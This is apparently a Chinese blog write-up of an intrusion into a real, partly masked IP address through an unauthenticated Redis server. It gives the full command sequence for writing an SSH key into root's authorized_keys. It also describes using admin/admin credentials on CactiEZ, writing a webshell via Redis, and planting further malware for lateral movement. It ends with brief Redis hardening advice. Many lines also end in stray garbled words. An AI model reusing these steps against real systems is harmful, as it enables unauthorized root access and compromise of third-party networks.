最近redis的话题比较多,所以就有了下面这个故事。html
目标IP:210.73.90.xxxweb
利用漏洞:未受权的redis访问redis
漏洞利用1:shell
1)本地生成秘钥安全
root@GanDolf:~# ssh-keygen -t rsa服务器
2)将公钥写入一个文件ssh
root@GanDolf:~# cd /root/.ssh/ide
root@GanDolf:~/.ssh# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt网站
3)链接redis写入文件root@GanDolf:~/.ssh# cat foo.txt | redis-cli -h 210.73.90.xxx -x set crackitspa
OK
root@GanDolf:~/.ssh# redis-cli -h 210.73.90.xxx
210.73.90.xxx:6379> config set dir /root/.ssh/
OK
(1.39s)
210.73.90.xxx:6379> CONFIG GET dir
1) "dir"
2) "/root/.ssh"
210.73.90.xxx:6379> config set dbfilename "authorized_keys"
OK
(1.03s)
210.73.90.xxx:6379> SAVE
saOK
(1.40s)
210.73.90.xxx:6379> SAVE
OK
210.73.90.xxx:6379> exit
root@GanDolf:~/.ssh# ssh
4)链接服务器
root@GanDolf:~/.ssh# ssh -i id_rsa root@210.73.90.xxx
发现为开启22端口
到此此方法失败
漏洞利用2:
nmap扫描结果:
80 443 开放
访问80原来是CactiEZ v10版本
尝试弱口令登陆admin admin登陆成功,发现无长传路径。
尝试redis写webshell
前提:网站的物理路径
手动几回没爆成功
转向挖CactiEZ v10 的一些安装信息
因而乎,下载CactiEZ v10 本身搭建虚拟安装,启动找出物理路径为:
/var/www/html
因而利用redis写shell
因而菜刀连起:
最后丢个小码。看看能不能挖到啥东西,后续能够反弹到本地,内容漫游下(好多交换机,主机^__^)
最后总结关于redis的安全建议:
1)修改默认端口
2)监听本地端口
3)使用非root启动,不然出现漏洞1,直接拿到root权限
4)修改配置文件,禁用相关命令
# rename-command CONFIG b840fc02d524045429941cc15f59e41cb7be6c52